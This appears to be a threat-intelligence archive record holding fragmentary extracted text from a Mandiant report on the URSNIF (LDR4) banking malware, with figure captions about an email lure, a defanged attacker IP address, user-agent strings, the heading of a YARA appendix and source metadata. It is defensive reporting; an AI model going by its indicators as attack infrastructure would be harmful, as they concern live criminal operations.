https://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nhttps://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud\r\nPage 19 of 19\n\n  https://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud \nFigure 3: Email lure for URSNIF (LDR4) on June 23, 2022\nFigure 4: June 2022, CAPTCHA page for the Excel document download\n   Page 4 of 19\n\n193[.]38.54.157 User Agent strings: (NL) – ISP: STARK INDUSTRIES SOLUTIONS LTD (GB) \nMozilla/5.0 (Windows NT \u003cos_version\u003e; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)\nChrome/87.0.4280.66 Safari/537.36    \nMozilla/5.0 (Windows NT \u003cos_version\u003e; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\nChrome/87.0.4280.66 Safari/537.36    \nAppendix C: YARA rule    \nThe following YARA rule is not intended to be used on production systems or to inform blocking rules without\nfirst being validated through an organization's own internal testing processes to ensure appropriate performance\n   Page 18 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia",
		"ETDA"
	],
	"references": [
		"https://www.mandiant.com/resources/blog/rm3-ldr4-ursnif-banking-fraud"
	],
	"report_names": [
		"rm3-ldr4-ursnif-banking-fraud"
	],
	"threat_actors": [],
	"ts_created_at": 1775434658,
	"ts_updated_at": 1775791225,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/898e80c9f180e02ab10bbad4981246ee4766a056.pdf",
		"text": "https://archive.orkl.eu/898e80c9f180e02ab10bbad4981246ee4766a056.txt",
		"img": "https://archive.orkl.eu/898e80c9f180e02ab10bbad4981246ee4766a056.jpg"
	}
}